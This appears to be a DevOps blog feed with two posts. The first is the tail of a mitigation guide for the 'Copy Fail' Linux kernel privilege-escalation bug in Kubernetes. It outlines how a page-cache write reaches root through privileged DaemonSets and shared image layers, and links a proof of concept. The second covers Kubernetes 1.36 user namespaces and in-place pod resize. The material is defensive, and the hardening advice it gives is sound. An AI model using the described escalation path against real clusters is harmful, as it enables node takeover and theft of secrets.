          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-3-audit-your-privileged-daemonsets"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Copy Fail needs a privileged process that re-reads a file from the page cache after corruption. On a stock Kubernetes node, <code>kube-proxy</code> running <code>ipset</code> is the easy target. Take a pass over every DaemonSet in <code>kube-system</code> and your platform namespaces:</p>
<pre><code class="hljs language-bash">kubectl get daemonsets --all-namespaces -o json \
  | jq -r <span class="hljs-string">&#x27;.items[] | select(.spec.template.spec.containers[]?.securityContext.privileged == true)
           | &quot;\(.metadata.namespace)/\(.metadata.name)&quot;&#x27;</span>
</code></pre><p>For each one:</p>
<ul>
<li>Identify which host binaries it executes.</li>
<li>Decide whether it actually needs <code>privileged: true</code> or whether targeted capabilities would do.</li>
<li>Where you can, run those binaries from the container image rather than the host filesystem so a host-side page-cache poison cannot reach them.</li>
</ul>
<h3 id="h3-4-tighten-image-layer-overlap-on-shared-nodes" class="group relative scroll-mt-24">
        <a href="#h3-4-tighten-image-layer-overlap-on-shared-nodes" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          4. Tighten image-layer overlap on shared nodes
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-4-tighten-image-layer-overlap-on-shared-nodes"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The PoC works because base layers are deduplicated. Two pods running the same image share the same physical page in the kernel&#39;s page cache. A poison from one pod is what the other pod reads.</p>
<p>Multi-tenancy mitigations that already help here:</p>
<ul>
<li>Run untrusted workloads in their own node pool with sandboxing (gVisor, Kata, Firecracker). All three move the kernel out of reach.</li>
<li>Pin sensitive privileged DaemonSets to dedicated nodes with <code>nodeSelector</code> and taints, so pods from less trusted namespaces never share a node with them.</li>
<li>For high-blast-radius nodes (control plane, ingress, Vault, secrets operators), set <code>spec.runtimeClassName</code> to a sandboxed runtime class.</li>
</ul>
<h3 id="h3-5-rotate-node-bound-secrets-if-you-found-iocs" class="group relative scroll-mt-24">
        <a href="#h3-5-rotate-node-bound-secrets-if-you-found-iocs" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          5. Rotate node-bound secrets if you found IoCs
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-5-rotate-node-bound-secrets-if-you-found-iocs"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>If a node looked compromised, treat anything that has been on it as exposed:</p>
<ul>
<li><input disabled="" type="checkbox"> Service account tokens mounted into pods on the node</li>
<li><input disabled="" type="checkbox"> kubelet client certificate</li>
<li><input disabled="" type="checkbox"> Secrets mounted as volumes in any pod scheduled on that node</li>
<li><input disabled="" type="checkbox"> Cloud instance role credentials (force a new instance, do not just rotate the role)</li>
<li><input disabled="" type="checkbox"> etcd certificates if the node was a control-plane node</li>
</ul>
<h2 id="h2-why-this-matters-for-devops-teams" class="group relative scroll-mt-24">
        <a href="#h2-why-this-matters-for-devops-teams" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Why This Matters for DevOps Teams
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-why-this-matters-for-devops-teams"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>A few things stand out about Copy Fail beyond the immediate CVE:</p>
<p><strong>Default seccomp is a marketing default, not a security default.</strong> &quot;We use runtime-default seccomp&quot; is something most teams have written into their compliance docs. Copy Fail is the latest demonstration that this profile is permissive by design, not restrictive. AF_ALG joins a small list of network families that pop up in CVE write-ups every few years. Build a habit of layering a custom profile that blocks what you do not need.</p>
<p><strong>Page-cache sharing is a multi-tenancy boundary you probably forgot existed.</strong> The kernel&#39;s page cache is shared, and that sharing is what turns a 4-byte write into a privilege escalation. If you treat every node as a single security domain, your blast radius is &quot;the entire node and every pod on it&quot; the moment any pod gets the kernel to misbehave. Sandboxed runtimes are no longer a niche concern.</p>
<p><strong>Your privileged DaemonSets are the targets.</strong> <code>kube-proxy</code>, CSI drivers, CNI plugins, log collectors, monitoring agents. The pattern is the same: a high-privilege process re-reading a file from the page cache. Take inventory, and prefer images that ship their own copies of any binary they execute.</p>
<p><strong>Kernel CVEs are part of the platform team&#39;s job again.</strong> For most of the container era, &quot;the kernel&quot; was a thing the cloud handled for you. Copy Fail is a reminder that the kernel sits underneath every abstraction you have built, and that an unpatched node&#39;s exposure is not bounded by your application security posture.</p>
<h2 id="h2-key-takeaways" class="group relative scroll-mt-24">
        <a href="#h2-key-takeaways" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Key Takeaways
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-key-takeaways"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ol>
<li><strong>Patch the host kernel.</strong> The mainline fix is <code>a664bf3d603d</code>. Until it lands, every Linux node is exposed.</li>
<li><strong>Drop a custom seccomp profile that blocks <code>socket(AF_ALG, ...)</code>.</strong> Do not assume <code>runtime-default</code> or PSS Restricted has you covered.</li>
<li><strong>Audit privileged DaemonSets.</strong> They are the targets that turn a 4-byte write into root.</li>
<li><strong>Run untrusted workloads on sandboxed runtimes</strong> (gVisor, Kata, Firecracker) on dedicated node pools.</li>
<li><strong>Rotate node-scoped secrets</strong> if you find evidence of compromise.</li>
<li><strong>Layer your defenses.</strong> Kernel patch + custom seccomp + sandboxed runtimes + pinned privileged DaemonSets is the picture, not any one of those alone.</li>
</ol>
<p>The 4-byte write is the easy part to fix. The page-cache sharing it exploits is going to be there for a long time.</p>
<p><em>Sources: <a href="https://www.microsoft.com/en-us/security/blog/2026/05/01/cve-2026-31431-copy-fail-vulnerability-enables-linux-root-privilege-escalation/">Microsoft Security Blog</a>, <a href="https://www.wiz.io/blog/copyfail-cve-2026-31431-linux-privilege-escalation-vulnerability">Wiz</a>, <a href="https://juliet.sh/blog/we-tested-copy-fail-in-kubernetes-pss-restricted-runtime-default-af-alg">juliet.sh</a>, <a href="https://github.com/Percivalll/Copy-Fail-CVE-2026-31431-Kubernetes-PoC">Kubernetes PoC repo</a>, <a href="https://blog.ovhcloud.com/copy-fail-cve-2026-31431-how-to-rapidly-protect-ovhcloud-mks-clusters-from-the-linux-kernel-zero-day/">OVHcloud</a></em></p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[Kubernetes 1.36 Ships User Namespaces GA and Pod-Level In-Place Resize]]></title>
      <link>https://devops-daily.com/posts/kubernetes-1-36-user-namespaces-pod-resize</link>
      <description><![CDATA[Kubernetes 1.36 "Haru" landed on April 22, 2026. Two changes matter most for production: user namespaces graduated to stable, and pod-level CPU and memory can now be resized in place without restarting. Here is what each one does, the kubelet and runtime requirements, and how to enable them safely.]]></description>
      <pubDate>Sat, 02 May 2026 10:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops-daily.com/posts/kubernetes-1-36-user-namespaces-pod-resize</guid>
      <category><![CDATA[Kubernetes]]></category>
      <author><![CDATA[DevOps Daily Team]]></author>
      <category><![CDATA[kubernetes]]></category><category><![CDATA[security]]></category><category><![CDATA[user-namespaces]]></category><category><![CDATA[pod-resize]]></category><category><![CDATA[cgroup-v2]]></category><category><![CDATA[release-notes]]></category>
      <content:encoded><![CDATA[<p>Kubernetes <strong>1.36 &quot;Haru&quot;</strong> shipped on April 22, 2026 with 80 tracked enhancements: 18 graduating to stable, 18 graduating to beta, and 26 brand new alpha features. Most of the release reads like normal cleanup work, but two changes are worth treating as production milestones rather than line items in the release notes.</p>
<p>The first is <strong>user namespaces graduating to stable</strong>. The kernel feature has existed for years, the Kubernetes integration has been in alpha or beta since 1.25, and 1.36 is the version that finally promises API stability. With user namespaces enabled, a process running as root inside a container is mapped to an unprivileged user on the host. That single primitive defangs an entire class of container escape CVEs.</p>
<p>The second is <strong>in-place vertical scaling for pod-level resources, now in beta and on by default</strong>. You could already resize individual containers in 1.35; in 1.36 you can resize the aggregate CPU and memory cap defined at the pod level, without recreating the pod. The combination unlocks proper VPA-style autoscaling that doesn&#39;t churn pods every time a recommendation changes.</p>
<p>This post walks through both features: what they do, the kernel and runtime requirements, the trade-offs, and the YAML you&#39;d actually deploy.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TL;DR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li><strong>User namespaces</strong> went GA. Set <code>spec.hostUsers: false</code> on a pod and the container&#39;s root maps to a non-privileged UID on the node. Mitigates a real list of past CVEs.</li>
<li><strong>Pod-level in-place resize</strong> went beta and is enabled by default. <code>kubectl patch --subresource resize</code> updates the pod&#39;s aggregate <code>spec.resources</code> without restarting it.</li>
<li>Both depend on <strong>cgroup v2</strong> and a recent kernel. User namespaces additionally need <strong>idmap mounts</strong> support on the volume backing <code>/var/lib/kubelet/pods/</code>.</li>
<li>Container runtime must speak the <strong><code>UpdateContainerResources</code> CRI call</strong> (containerd 2.0+, CRI-O recent enough, runc 1.2+).</li>
</ul>
<h2 id="h2-prerequisites" class="group relative scroll-mt-24">
        <a href="#h2-prerequisites" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Prerequisites
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-prerequisites"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>A cluster on Kubernetes 1.36 (or 1.35 with <code>UserNamespacesSupport</code> and <code>InPlacePodVerticalScaling</code> feature gates on for the older subset).</li>
<li>Linux kernel ≥ 6.3 on every node where you want user namespaces to work, and an <code>idmap mounts</code> capable filesystem under <code>/var/lib/kubelet/pods/</code> (ext4, xfs, btrfs, tmpfs all qualify on recent kernels).</li>
<li>cgroup v2 unified hierarchy. Most modern distros default to it; if you&#39;re still on cgroup v1 the pod-level resize won&#39;t enforce limits correctly.</li>
<li><code>kubectl</code> ≥ v1.32.0 for the <code>--subresource resize</code> patch path.</li>
</ul>
<h2 id="h2-user-namespaces-what-changed-at-ga" class="group relative scroll-mt-24">
        <a href="#h2-user-namespaces-what-changed-at-ga" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          User namespaces: what changed at GA
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-user-namespaces-what-changed-at-ga"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Container runtimes have always been able to launch a process under a remapped UID, but Kubernetes did not expose that to pods in a stable way. Until 1.36 you set the feature gate, accepted alpha-quality breakage, and hoped your CSI driver played along with idmapped mounts.</p>
<p>At GA, three things are different:</p>
<ol>
<li><strong><code>spec.hostUsers: false</code> is a stable API field.</strong> It was already there in beta, but the contract is now frozen and kubelet&#39;s behavior is the same across minor versions.</li>
<li><strong>Idmap mounts are mandatory and well-supported.</strong> The kubelet remounts each pod volume with a UID/GID shift so files written by container-root land on disk owned by the remapped non-root UID. ConfigMaps, Secrets, downward API volumes, and emptyDir all work; raw block volumes (<code>volumeDevices</code>) and volumes that don&#39;t support idmap mounts will fail the pod.</li>
<li><strong>The mitigation list is real.</strong> The kubelet team <a href="https://kubernetes.io/blog/2026/04/23/kubernetes-v1-36-userns-ga/">enumerated a set of high/critical CVEs</a> that wouldn&#39;t have been exploitable with user namespaces on, mostly variants of &quot;container process pivots out via a host-privileged syscall&quot;. This is the headline reason to flip it on rather than wait for the next CVE.</li>
</ol>
<h3 id="h3-minimum-example" class="group relative scroll-mt-24">
        <a href="#h3-minimum-example" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Minimum example
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-minimum-example"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><pre><code class="hljs language-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">Pod</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">userns-demo</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">hostUsers:</span> <span class="hljs-literal">false</span>
  <span class="hljs-attr">containers:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">shell</span>
      <span class="hljs-attr">image:</span> <span class="hljs-string">debian:bookworm-slim</span>
      <span class="hljs-attr">command:</span> [<span class="hljs-string">&quot;sleep&quot;</span>, <span class="hljs-string">&quot;infinity&quot;</span>]
</code></pre><p>Inside the container, <code>id</code> will report <code>uid=0(root)</code>. From a debug shell on the node, <code>ps -ef</code> for that PID will show a non-zero, non-host UID — typically something in the 65536+ range mapped per-pod. A <code>cat /proc/&lt;pid&gt;/uid_map</code> on the host shows the mapping range.</p>
<h3 id="h3-what-you-cant-do-with-hostusers-false" class="group relative scroll-mt-24">
        <a href="#h3-what-you-cant-do-with-hostusers-false" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What you can't do with hostUsers: false
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-what-you-cant-do-with-hostusers-false"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The API explicitly rejects pods that mix user namespaces with any of the other host namespaces. If you need any of these, you&#39;ll have to pick:</p>
<ul>
<li><code>hostNetwork: true</code></li>
<li><code>hostPID: true</code></li>
<li><code>hostIPC: true</code></li>
<li><code>volumeDevices: [...]</code> (raw block volumes)</li>
<li>containers that mount host paths the kubelet cannot idmap</li>
</ul>
<p>For a typical web service this list is uncontroversial. For privileged DaemonSets (CNI plugins, node-exporter, eBPF agents) you&#39;ll likely keep them on host namespaces and rely on PodSecurity admission to scope the blast radius the old way.</p>
<h3 id="h3-rollout-pattern" class="group relative scroll-mt-24">
        <a href="#h3-rollout-pattern" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Rollout pattern
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-rollout-pattern"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The kubelet doesn&#39;t automatically opt every workload in — you set <code>hostUsers: false</code> per pod template. A reasonable rollout sequence:</p>
<ol>
<li>Pick one stateless deployment in staging. Add <code>hostUsers: false</code>. Confirm the pod schedules, the volumes mount, and the app reads its ConfigMap.</li>
<li>Spot-check <code>crictl inspect &lt;containerID&gt;</code> on the node and verify the runtime reports the user namespace mapping.</li>
<li>Roll the same change to a low-blast-radius prod workload (a doc site, a webhook receiver) before going broader.</li>
<li>PSAA or Kyverno policy enforcement comes last — once you have evidence multiple workloads work without surprises, you can codify &quot;no <code>hostUsers: true</code> for new pods unless explicitly waived&quot;.</li>
</ol>
<h2 id="h2-pod-level-in-place-resize-whats-actually-new" class="group relative scroll-mt-24">
        <a href="#h2-pod-level-in-place-resize-whats-actually-new" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Pod-level in-place resize: what's actually new
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-pod-level-in-place-resize-whats-actually-new"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Per-container resize landed in 1.33 alpha and graduated through 1.35. In 1.36 the resize subresource also accepts changes to <strong><code>spec.resources</code></strong> — the pod-level aggregate that 1.32 introduced as an upper bound on the sum of container limits.</p>
<p>The semantics matter: pod-level resources are enforced at the pod&#39;s cgroup, not by the application runtime inside containers. That&#39;s why this resize never restarts the pod — bumping the pod-level cgroup memory limit is just a <code>cgroup.memory.max</code> write to a file that already exists. There&#39;s nothing to coordinate with the application.</p>
<h3 id="h3-pod-with-both-per-container-and-pod-level-resources" class="group relative scroll-mt-24">
        <a href="#h3-pod-with-both-per-container-and-pod-level-resources" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Pod with both per-container and pod-level resources
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-pod-with-both-per-container-and-pod-level-resources"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><pre><code class="hljs language-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">Pod</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">pod-resize-demo</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">containers:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">app</span>
      <span class="hljs-attr">image:</span> <span class="hljs-string">ghcr.io/example/app:1.0</span>
      <span class="hljs-attr">resources:</span>
        <span class="hljs-attr">requests:</span>
          <span class="hljs-attr">cpu:</span> <span class="hljs-string">250m</span>
          <span class="hljs-attr">memory:</span> <span class="hljs-string">256Mi</span>
        <span class="hljs-attr">limits:</span>
          <span class="hljs-attr">cpu:</span> <span class="hljs-string">500m</span>
          <span class="hljs-attr">memory:</span> <span class="hljs-string">256Mi</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">sidecar</span>
      <span class="hljs-attr">image:</span> <span class="hljs-string">ghcr.io/example/sidecar:1.0</span>
      <span class="hljs-attr">resources:</span> {}
  <span class="hljs-attr">resources:</span>                 <span class="hljs-comment"># pod-level aggregate cap</span>
    <span class="hljs-attr">requests:</span>
      <span class="hljs-attr">cpu:</span> <span class="hljs-string">&quot;1&quot;</span>
      <span class="hljs-attr">memory:</span> <span class="hljs-string">512Mi</span>
    <span class="hljs-attr">limits:</span>
      <span class="hljs-attr">cpu:</span> <span class="hljs-string">&quot;1&quot;</span>
      <span class="hljs-attr">memory:</span> <span class="hljs-string">512Mi</span>
</code></pre><h3 id="h3-resizing-without-a-restart" class="group relative scroll-mt-24">
        <a href="#h3-resizing-without-a-restart" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Resizing without a restart
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-resizing-without-a-restart"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><pre><code class="hljs language-bash">kubectl patch pod pod-resize-demo \
  --subresource resize \
  --patch <span class="hljs-string">&#x27;{&quot;spec&quot;:{&quot;resources&quot;:{&quot;limits&quot;:{&quot;cpu&quot;:&quot;2&quot;,&quot;memory&quot;:&quot;1Gi&quot;},&quot;requests&quot;:{&quot;cpu&quot;:&quot;2&quot;,&quot;memory&quot;:&quot;1Gi&quot;}}}}&#x27;</span>
</code></pre><p>Watch what happens:</p>
<pre><code class="hljs language-bash">kubectl get pod pod-resize-demo -o yaml | yq <span class="hljs-string">&#x27;.status.resize&#x27;</span>
</code></pre><p><code>status.resize</code> cycles through <code>Proposed</code> → <code>InProgress</code> → empty (success). The container <code>restartCount</code> does <strong>not</strong> increment. <code>kubectl describe pod</code> will print a <code>Resized</code> event with the old and new values.</p>
<h3 id="h3-when-the-resize-is-rejected" class="group relative scroll-mt-24">
        <a href="#h3-when-the-resize-is-rejected" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          When the resize is rejected
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-when-the-resize-is-rejected"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The kubelet refuses the resize and surfaces an event when:</p>
<ul>
<li>The new request can&#39;t fit on the node — same admission rules as initial scheduling.</li>
<li>The container runtime doesn&#39;t implement <code>UpdateContainerResources</code> for the requested change. <code>containerd ≤ 1.7</code> and older CRI-O versions hit this.</li>
<li>You try to lower memory below currently-used memory. The kubelet errs on the side of safety here: a memory shrink that would force OOM-kill the container is rejected.</li>
</ul>
<h3 id="h3-why-this-changes-vpa-in-production" class="group relative scroll-mt-24">
        <a href="#h3-why-this-changes-vpa-in-production" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Why this changes VPA in production
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-why-this-changes-vpa-in-production"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
